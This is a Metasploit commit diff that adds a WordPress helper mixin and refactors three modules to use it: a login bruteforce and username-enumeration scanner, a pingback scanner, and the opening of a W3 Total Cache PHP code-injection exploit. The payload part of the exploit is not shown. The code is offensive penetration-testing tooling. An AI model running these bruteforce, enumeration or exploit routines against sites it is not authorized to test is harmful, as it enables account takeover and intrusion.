Land #2267, @Firefart's wordpress mixin

bug/bundler_fix
jvazquez-r7 2013-09-25 13:08:24 -05:00
commit 3cc09bc3ab
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
15 changed files with 750 additions and 332 deletions

View File

@ -57,6 +57,8 @@ require 'msf/core/nop'
require 'msf/core/payload'
require 'msf/core/post'
# Custom HTTP Modules
require 'msf/http/wordpress'
# Drivers
require 'msf/core/exploit_driver'

View File

@ -330,6 +330,19 @@ module Exploit::Remote::HttpClient
new_str
end
# Returns the Path+Query from a full URI String, nil on error
def path_from_uri(uri)
begin
temp = URI(uri)
ret_uri = temp.path
ret_uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
return ret_uri
rescue URI::Error
print_error "Invalid URI: #{uri}"
return nil
end
end
#
# Returns the target host
#
@ -344,6 +357,13 @@ module Exploit::Remote::HttpClient
datastore['RPORT']
end
#
# Returns the Host and Port as a string
#
def peer
"#{rhost}:#{rport}"
end
#
# Returns the VHOST of the HTTP server.
#

View File

@ -5,7 +5,7 @@ module Msf
###
#
# This module exposes methods that may be useful to exploits that deal with
# servers that speak the telnet protocol.
# webservers.
#
###
module Exploit::Remote::Web

35
lib/msf/http/wordpress.rb Normal file
View File

@ -0,0 +1,35 @@
# -*- coding: binary -*-
# This module provides a way of interacting with wordpress installations
module Msf
module HTTP
module Wordpress
require 'msf/http/wordpress/base'
require 'msf/http/wordpress/helpers'
require 'msf/http/wordpress/login'
require 'msf/http/wordpress/posts'
require 'msf/http/wordpress/uris'
require 'msf/http/wordpress/users'
require 'msf/http/wordpress/version'
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress::Base
include Msf::HTTP::Wordpress::Helpers
include Msf::HTTP::Wordpress::Login
include Msf::HTTP::Wordpress::Posts
include Msf::HTTP::Wordpress::URIs
include Msf::HTTP::Wordpress::Users
include Msf::HTTP::Wordpress::Version
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
], HTTP::Wordpress
)
end
end
end
end

View File

@ -0,0 +1,28 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Base
# Checks if the site is online and running wordpress
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
def wordpress_and_online?
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return res if res and
res.code == 200 and
(
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
)
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Error connecting to #{target_uri}")
return nil
end
end
end

View File

@ -0,0 +1,122 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Helpers
# Helper methods are private and should not be called by modules
private
# Returns the POST data for a Wordpress login request
#
# @param user [String] Username
# @param pass [String] Password
# @param redirect URL [String] to redirect after successful login
# @return [Hash] The post data for vars_post Parameter
def wordpress_helper_login_post_data(user, pass, redirect=nil)
post_data = {
'log' => user.to_s,
'pwd' => pass.to_s,
'redirect_to' => redirect.to_s,
'wp-submit' => 'Login'
}
post_data
end
# Helper method to post a comment to Wordpress
#
# @param comment [String] The comment
# @param comment_post_id [Integer] The Post ID to post the comment to
# @param login_cookie [String] The valid login_cookie
# @param author [String] The author name
# @param email [String] The author email
# @param url [String] The author url
# @return [String,nil] The location of the new comment/post, nil on error
def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
vars_post = {
'comment' => comment,
'submit' => 'Post+Comment',
'comment_post_ID' => comment_post_id.to_s,
'comment_parent' => '0'
}
vars_post.merge!({
'author' => author,
'email' => email,
'url' => url,
}) unless login_cookie
options = {
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
'method' => 'POST'
}
options.merge!({'vars_post' => vars_post})
options.merge!({'cookie' => login_cookie}) if login_cookie
res = send_request_cgi(options)
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
return wordpress_helper_parse_location_header(res)
else
message = "#{peer} - Post comment failed."
message << " Status Code: #{res.code}" if res
print_error(message)
return nil
end
end
# Helper method for bruteforcing a valid post id
#
# @param range [Range] The Range of post_ids to bruteforce
# @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found
# @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user
# @return [Integer,nil] The post id, nil when nothing found
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
range.each { |id|
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
return id if body
}
# no post found
return nil
end
# Helper method to check if a post is valid an has comments enabled
#
# @param uri [String] the Post URI Path
# @param comments_enabled [Boolean] Check if comments are enabled on this post
# @param login_cookie [String] A valid login cookie to perform the check as an authenticated user
# @return [String,nil] the HTTP response body of the post, nil otherwise
def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil)
options = {
'method' => 'GET',
'uri' => uri
}
options.merge!({'cookie' => login_cookie}) if login_cookie
res = send_request_cgi(options)
# post exists
if res and res.code == 200
# also check if comments are enabled
if comments_enabled
if res.body =~ /form.*action.*wp-comments-post\.php/
return res.body
else
return nil
end
# valid post found, not checking for comments
else
return res.body
end
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
path = wordpress_helper_parse_location_header(res)
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
end
return nil
end
# Helper method parse a Location header and returns only the path and query. Returns nil on error
#
# @param res [Rex::Proto::Http::Response] The HTTP response
# @return [String,nil] the path and query, nil on error
def wordpress_helper_parse_location_header(res)
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
location = res.headers['Location']
path_from_uri(location)
end
end

View File

@ -0,0 +1,37 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Login
# performs a wordpress login
#
# @param user [String] Username
# @param pass [String] Password
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def wordpress_login(user, pass)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
})
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i)
# return wordpress login cookie
return match[0] if match
# support for older wordpress versions
# Wordpress 2.0
match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i)
match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i)
# return wordpress login cookie
return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass)
# Wordpress 2.5
match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i)
# return wordpress login cookie
return match_2_5[0] if match_2_5
end
return nil
end
end

View File

@ -0,0 +1,157 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Posts
# Posts a comment as an authenticated user
#
# @param comment [String] The comment
# @param comment_post_id [Integer] The Post ID to post the comment to
# @param login_cookie [String] The valid login_cookie
# @return [String,nil] The location of the new comment/post, nil on error
def wordpress_post_comment_auth(comment, comment_post_id, login_cookie)
wordpress_helper_post_comment(comment, comment_post_id, login_cookie, nil, nil, nil)
end
# Posts a comment as an unauthenticated user
#
# @param comment [String] The comment
# @param comment_post_id [Integer] The Post ID to post the comment to
# @param author [String] The author name
# @param email [String] The author email
# @param url [String] The author url
# @return [String,nil] The location of the new comment/post, nil on error
def wordpress_post_comment_no_auth(comment, comment_post_id, author, email, url)
wordpress_helper_post_comment(comment, comment_post_id, nil, author, email, url)
end
# Wordpress shows moderated comments to the unauthenticated Posting user
# Users are identified by their cookie
#
# @param author [String] The author name used to post the anonymous comment
# @param email [String] The author email used to post the anonymous comment
# @param url [String] The author url used to post the anonymous comment
# @return [String] The cookie string that can be used to see moderated comments
def wordpress_get_unauth_comment_cookies(author, email, url)
scheme = ssl ? 'https' : 'http'
port = (rport == 80 or rport == 443) ? '' : rport
# siteurl does not contain last slash
path = target_uri.to_s.sub(/\/$/, '')
siteurl = "#{scheme}://#{rhost}#{port}#{path}"
site_hash = Rex::Text.md5(siteurl)
cookie = "comment_author_#{site_hash}=#{author}; "
cookie << "comment_author_email_#{site_hash}=#{email}; "
cookie << "comment_author_url_#{site_hash}=#{url};"
cookie
end
# Tries to bruteforce a valid post_id
#
# @param min_post_id [Integer] The first post_id to bruteforce
# @param max_post_id [Integer] The last post_id to bruteforce
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
# @return [Integer,nil] The post id, nil when nothing found
def wordpress_bruteforce_valid_post_id(min_post_id, max_post_id, login_cookie=nil)
return nil if min_post_id > max_post_id
range = Range.new(min_post_id, max_post_id)
wordpress_helper_bruteforce_valid_post_id(range, false, login_cookie)
end
# Tries to bruteforce a valid post_id with comments enabled
#
# @param min_post_id [Integer] The first post_id to bruteforce
# @param max_post_id [Integer] The last post_id to bruteforce
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
# @return [Integer,nil] The post id, nil when nothing found
def wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, login_cookie=nil)
return nil if min_post_id > max_post_id
range = Range.new(min_post_id, max_post_id)
wordpress_helper_bruteforce_valid_post_id(range, true, login_cookie)
end
# Checks if the provided post has comments enabled
#
# @param post_id [Integer] The post ID to check
# @param login_cookie [String] If set perform the check as an authenticated user
# @return [String,nil] the HTTP response body of the post, nil otherwise
def wordpress_post_id_comments_enabled?(post_id, login_cookie=nil)
wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
end
# Checks if the provided post has comments enabled
#
# @param url [String] The post url
# @param login_cookie [String] If set perform the check as an authenticated user
# @return [String,nil] the HTTP response body of the post, nil otherwise
def wordpress_post_comments_enabled?(url, login_cookie=nil)
wordpress_helper_check_post_id(url, true, login_cookie)
end
# Gets the post_id from a post body
#
# @param body [String] The body of a post
# @return [String,nil] The post_id, nil when nothing found
def get_post_id_from_body(body)
return nil unless body
body.match(/<body class="[^=]*postid-(\d+)[^=]*">/i)[1]
end
# Tries to get some Blog Posts via the RSS feed
#
# @param max_redirects [Integer] maximum redirects to follow
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
vprint_status("#{peer} - Enumerating Blog posts...")
blog_posts = []
begin
vprint_status("#{peer} - Locating wordpress feed...")
res = send_request_cgi({
'uri' => wordpress_url_rss,
'method' => 'GET'
})
count = max_redirects
# Follow redirects
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
path = wordpress_helper_parse_location_header(res)
return nil unless path
vprint_status("#{peer} - Web server returned a #{res.code}...following to #{path}")
res = send_request_cgi({
'uri' => path,
'method' => 'GET'
})
if res.code == 200
vprint_status("#{peer} - Feed located at #{path}")
else
vprint_status("#{peer} - Returned a #{res.code}...")
end
count = count - 1
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Unable to connect")
return nil
end
if res.nil? or res.code != 200
vprint_status("#{peer} - Did not recieve HTTP response for RSS feed")
return blog_posts
end
# parse out links and place in array
links = res.body.scan(/<link>([^<]+)<\/link>/i)
if links.nil? or links.empty?
vprint_status("#{peer} - Feed did not have any links present")
return blog_posts
end
links.each do |link|
path = path_from_uri(link[0])
blog_posts << path if path
end
return blog_posts
end
end

View File

@ -0,0 +1,69 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::URIs
# Returns the Wordpress Login URL
#
# @return [String] Wordpress Login URL
def wordpress_url_login
normalize_uri(target_uri.path, 'wp-login.php')
end
# Returns the Wordpress Post URL
#
# @param post_id [Integer] Post ID
# @return [String] Wordpress Post URL
def wordpress_url_post(post_id)
normalize_uri(target_uri.path, "?p=#{post_id}")
end
# Returns the Wordpress Author URL
#
# @param author_id [Integer] Author ID
# @return [String] Wordpress Author URL
def wordpress_url_author(author_id)
normalize_uri(target_uri.path, "?author=#{author_id}")
end
# Returns the Wordpress RSS feed URL
#
# @return [String] Wordpress RSS URL
def wordpress_url_rss
normalize_uri(target_uri.path, '?feed=rss2')
end
# Returns the Wordpress RDF feed URL
#
# @return [String] Wordpress RDF URL
def wordpress_url_rdf
normalize_uri(target_uri.path, 'feed/rdf/')
end
# Returns the Wordpress ATOM feed URL
#
# @return [String] Wordpress ATOM URL
def wordpress_url_atom
normalize_uri(target_uri.path, 'feed/atom/')
end
# Returns the Wordpress Readme file URL
#
# @return [String] Wordpress Readme file URL
def wordpress_url_readme
normalize_uri(target_uri.path, 'readme.html')
end
# Returns the Wordpress Sitemap URL
#
# @return [String] Wordpress Sitemap URL
def wordpress_url_sitemap
normalize_uri(target_uri.path, 'sitemap.xml')
end
# Returns the Wordpress OPML URL
#
# @return [String] Wordpress OPML URL
def wordpress_url_opml
normalize_uri(target_uri.path, 'wp-links-opml.php')
end
end

View File

@ -0,0 +1,65 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Users
# Checks if the given user exists
#
# @param user [String] Username
# @return [Boolean] true if the user exists
def wordpress_user_exists?(user)
res = send_request_cgi({
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_post' => wordpress_helper_login_post_data(user, Rex::Text.rand_text_alpha(6))
})
return true if res and res.code == 200 and
(res.body.to_s =~ /Incorrect password/ or
res.body.to_s =~ /document\.getElementById\('user_pass'\)/)
return false
end
# Checks if the given userid exists
#
# @param user_id [Integer] user_id
# @return [String,nil] the Username if it exists, nil otherwise
def wordpress_userid_exists?(user_id)
# Wordpress returns all posts from all users on user_id 0
return nil if user_id < 1
url = wordpress_url_author(user_id)
res = send_request_cgi({
'method' => 'GET',
'uri' => url
})
if res and res.code == 301
uri = wordpress_helper_parse_location_header(res)
return nil unless uri
# try to extract username from location
if uri.to_s =~ /\/author\/([^\/\b]+)\/?/i
return $1
end
uri = "#{uri.path}?#{uri.query}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
end
if res.nil?
print_error("#{peer} - Error getting response.")
return nil
elsif res.code == 200 and
(
res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i or
res.body =~ /<body class="archive author author-(?:[^\s]+) author-(?:\d+)/i or
res.body =~ /Posts by (\w+) Feed/i or
res.body =~ /<span class='vcard'><a class='url fn n' href='[^"']+' title='[^"']+' rel='me'>([^<]+)<\/a><\/span>/i or
res.body =~ /<title>.*(\b\w+\b)<\/title>/i
)
return $1
end
end
end

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Version
# Extracts the Wordpress version information from various sources
#
# @return [String,nil] Wordpress version if found, nil otherwise
def wordpress_version
# detect version from generator
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
return version if version
# detect version from readme
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
return version if version
# detect version from rss
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
return version if version
# detect version from rdf
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
return version if version
# detect version from atom
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
return version if version
# detect version from sitemap
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
return version if version
# detect version from opml
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
return version if version
nil
end
private
# Used to check if the version is correct: must contain at least one dot.
#
# @return [ String ]
def wordpress_version_pattern
'([^\r\n"\']+\.[^\r\n"\']+)'
end
def wordpress_version_helper(url, regex)
res = send_request_cgi({
'method' => 'GET',
'uri' => url
})
if res
match = res.body.match(regex)
if match
return match[1]
end
end
nil
end
end

View File

@ -66,7 +66,7 @@ class Response < Packet
cookies = ""
if (self.headers.include?('Set-Cookie'))
set_cookies = self.headers['Set-Cookie']
key_vals = set_cookies.scan(/\s?([^, ;]+?)=(.*?);/)
key_vals = set_cookies.scan(/\s?([^, ;]+?)=([^, ;]+?);/)
key_vals.each do |k, v|
# Dont downcase actual cookie name as may be case sensitive
name = k.downcase

View File

@ -6,7 +6,7 @@
##
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
@ -21,7 +21,8 @@ class Metasploit3 < Msf::Auxiliary
[
'Alligator Security Team',
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
'Zach Grace <zgrace[at]404labs.com>'
'Zach Grace <zgrace[at]404labs.com>',
'Christian Mehlmauer <FireFart[at]gmail.com'
],
'References' =>
[
@ -34,45 +35,48 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']),
OptBool.new('VALIDATE_USERS', [ true, "Validate usernames", true ]),
OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),
OptBool.new('ENUMERATE_USERNAMES', [ true, "Enumerate usernames", true ]),
OptString.new('RANGE_START', [false, 'First user id to enumerate', '1']),
OptString.new('RANGE_END', [false, 'Last user id to enumerate', '10'])
OptBool.new('VALIDATE_USERS', [ true, 'Validate usernames', true ]),
OptBool.new('BRUTEFORCE', [ true, 'Perform brute force authentication', true ]),
OptBool.new('ENUMERATE_USERNAMES', [ true, 'Enumerate usernames', true ]),
OptInt.new('RANGE_START', [false, 'First user id to enumerate', 1]),
OptInt.new('RANGE_END', [false, 'Last user id to enumerate', 10])
], self.class)
end
def target_url
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{uri}"
end
def run_host(ip)
unless wordpress_and_online?
print_error("#{target_uri} does not seeem to be Wordpress site")
return
end
version = wordpress_version
print_status("#{target_uri} - WordPress Version #{version} detected") if version
usernames = []
if datastore['ENUMERATE_USERNAMES']
vprint_status("#{target_uri} - WordPress User-Enumeration - Running User Enumeration")
usernames = enum_usernames
end
if datastore['VALIDATE_USERS']
@users_found = {}
vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")
vprint_status("#{target_uri} - WordPress User-Validation - Running User Validation")
each_user_pass { |user, pass|
do_enum(user)
validate_user(user)
}
unless (@users_found.empty?)
print_good("#{target_url} - WordPress Enumeration - Found #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
unless @users_found.empty?
print_good("#{target_uri} - WordPress User-Validation - Found #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
end
end
if datastore['BRUTEFORCE']
vprint_status("#{target_url} - WordPress Brute Force - Running Bruteforce")
vprint_status("#{target_uri} - WordPress Brute Force - Running Bruteforce")
if datastore['VALIDATE_USERS']
if @users_found && @users_found.keys.size > 0
vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
vprint_status("#{target_uri} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
end
end
@ -87,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary
# Brute force previously found users
if not usernames.empty?
print_status("#{target_url} - Brute-forcing previously found accounts...")
print_status("#{target_uri} - Brute-forcing previously found accounts...")
passwords = load_password_vars(datastore['PASS_FILE'])
usernames.each do |user|
passwords.each do |pass|
@ -99,154 +103,65 @@ class Metasploit3 < Msf::Auxiliary
end
end
def do_enum(user=nil)
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=x&wp-submit=Login"
print_status("#{target_url} - WordPress Enumeration - Checking Username:'#{user}'")
def validate_user(user=nil)
print_status("#{target_uri} - WordPress User-Validation - Checking Username:'#{user}'")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI']),
'data' => post_data,
}, 20)
if res.nil?
print_error("#{target_url} - Connection timed out")
return :abort
end
valid_user = false
if res.code == 200
if (res.body.to_s =~ /Incorrect password/ )
valid_user = true
elsif (res.body.to_s =~ /document\.getElementById\(\'user_pass\'\)/ )
valid_user = true
else
valid_user = false
end
else
print_error("#{target_url} - WordPress Enumeration - Enumeration is not possible. #{res.code} response")
return :abort
end
if valid_user
print_good("#{target_url} - WordPress Enumeration- Username: '#{user}' - is VALID")
report_auth_info(
exists = wordpress_user_exists?(user)
if exists
print_good("#{target_uri} - WordPress User-Validation - Username: '#{user}' - is VALID")
report_auth_info(
:host => rhost,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:port => rport,
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
)
)
@users_found[user] = :reported
return :next_user
else
vprint_error("#{target_url} - WordPress Enumeration - Invalid Username: '#{user}'")
return :skip_user
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
return :abort
rescue ::Timeout::Error, ::Errno::EPIPE
return :abort
@users_found[user] = :reported
return :next_user
else
vprint_error("#{target_uri} - WordPress User-Validation - Invalid Username: '#{user}'")
return :skip_user
end
end
def do_login(user=nil,pass=nil)
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&wp-submit=Login"
vprint_status("#{target_url} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
def do_login(user=nil, pass=nil)
vprint_status("#{target_uri} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
begin
cookie = wordpress_login(user, pass)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI']),
'data' => post_data,
}, 20)
if (res and res.code == 302 )
if res.headers['Set-Cookie'].match(/wordpress_logged_in_(.*);/i)
print_good("#{target_url} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}",
:active => true
)
return :next_user
end
print_error("#{target_url} - WordPress Brute Force - Unrecognized 302 response")
return :abort
elsif res.body.to_s =~ /login_error/
vprint_error("#{target_url} - WordPress Brute Force - Failed to login as '#{user}'")
return
else
print_error("#{target_url} - WordPress Brute Force - Unrecognized #{res.code} response") if res
return :abort
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
if cookie
print_good("#{target_uri} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{cookie}",
:active => true
)
return :next_user
else
vprint_error("#{target_uri} - WordPress Brute Force - Failed to login as '#{user}'")
return
end
end
def enum_usernames
usernames = []
for i in datastore['RANGE_START']..datastore['RANGE_END']
uri = "#{datastore['URI'].gsub(/wp-login/, 'index')}?author=#{i}"
print_status "#{target_url} - Requesting #{uri}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
if (res and res.code == 301)
uri = URI(res.headers['Location'])
if uri.path =~ /\/author\/([[:print:]]+)\//
username = $1
print_good "#{uri.path} - Found user '#{username}' with id #{i.to_s}"
usernames << username
next
end
uri = "#{uri.path}?#{uri.query}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
end
if res.nil?
print_error("#{target_url} - Error getting response.")
elsif res.code == 200 and res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i
username = $1
print_good "#{target_url} - Found user '#{username}' with id #{i.to_s}"
username = wordpress_userid_exists?(i)
if username
print_good "#{target_uri} - Found user '#{username}' with id #{i.to_s}"
usernames << username
elsif res.code == 404
print_status "#{target_url} - No user with id #{i.to_s} found"
else
print_error "#{target_url} - Unknown error. HTTP #{res.code.to_s}"
end
end
if not usernames.empty?
p = store_loot('wordpress.users', 'text/plain', rhost, usernames * "\n", "#{rhost}_wordpress_users.txt")
print_status("#{target_url} - Usernames stored in: #{p}")
print_status("#{target_uri} - Usernames stored in: #{p}")
end
return usernames

View File

@ -8,6 +8,7 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
@ -84,9 +85,6 @@ class Metasploit3 < Msf::Auxiliary
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("#{ip} - Unable to connect")
return nil
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error("#{ip} - Unable to connect")
return nil
end
end
@ -105,75 +103,21 @@ class Metasploit3 < Msf::Auxiliary
def get_blog_posts(xml_rpc, ip)
# find all blog posts within IP and determine if pingback is enabled
vprint_status("#{ip} - Enumerating Blog posts on...")
blog_posts = nil
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
# make http request to feed url
begin
vprint_status("#{ip} - Resolving #{uri}?feed=rss2 to locate wordpress feed...")
res = send_request_cgi({
'uri' => "#{uri}?feed=rss2",
'method' => 'GET'
})
count = datastore['NUM_REDIRECTS']
# Follow redirects
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
vprint_status("#{ip} - Web server returned a #{res.code}...following to #{res.headers['Location']}")
uri = res.headers['Location'].sub(/(http|https):\/\/.*?\//, "/")
res = send_request_cgi({
'uri' => "#{uri}",
'method' => 'GET'
})
if res.code == 200
vprint_status("#{ip} - Feed located at #{uri}")
else
vprint_status("#{ip} - Returned a #{res.code}...")
end
count = count - 1
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("#{ip} - Unable to connect")
return nil
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error("#{ip} - Unable to connect")
return nil
end
if res.nil? or res.code != 200
vprint_status("#{ip} - Did not recieve HTTP response from #{ip}")
return blog_posts
end
# parse out links and place in array
links = res.body.scan(/<link>([^<]+)<\/link>/i)
if links.nil? or links.empty?
vprint_status("#{ip} - Feed at #{ip} did not have any links present")
return blog_posts
end
links.each do |link|
blog_post = link[0]
blog_posts = wordpress_get_all_blog_posts_via_feed(datastore['NUM_REDIRECTS'])
blog_posts.each do |blog_post|
pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post)
if pingback_response
pingback_disabled_match = pingback_response.body.match(/<value><int>33<\/int><\/value>/i)
if pingback_response.code == 200 and pingback_disabled_match.nil?
print_good("#{ip} - Pingback enabled: #{link.join}")
blog_posts = link.join
return blog_posts
print_good("#{ip} - Pingback enabled: #{blog_post}")
return blog_post
else
vprint_status("#{ip} - Pingback disabled: #{link.join}")
vprint_status("#{ip} - Pingback disabled: #{blog_post}")
end
end
end
return blog_posts
return nil
end
# method to send xml-rpc requests
@ -192,9 +136,6 @@ class Metasploit3 < Msf::Auxiliary
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("Unable to connect to #{uri}")
return nil
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error("Unable to connect to #{uri}")
return nil
end
return res
end
@ -213,19 +154,24 @@ class Metasploit3 < Msf::Auxiliary
# main control method
def run_host(ip)
unless wordpress_and_online?
print_error("#{ip} does not seeem to be Wordpress site")
return
end
# call method to get xmlrpc url
xmlrpc = get_xml_rpc_url(ip)
# once xmlrpc url is found, get_blog_posts
if xmlrpc.nil?
vprint_error("#{ip} - It doesn't appear to be vulnerable")
print_error("#{ip} - It doesn't appear to be vulnerable")
else
hash = get_blog_posts(xmlrpc, ip)
if hash
store_vuln(ip, hash) if @db_active
else
vprint_status("#{ip} - X-Pingback enabled but no vulnerable blogs found")
print_status("#{ip} - X-Pingback enabled but no vulnerable blogs found")
end
end
end

View File

@ -5,13 +5,12 @@
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
@ -21,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically bruteforce one. Also, if anonymous comments
then the module will automatically find or bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on Wordpress must be unchecked for
successful exploitation. This module has been tested against Wordpress 3.5 and
@ -57,15 +56,16 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
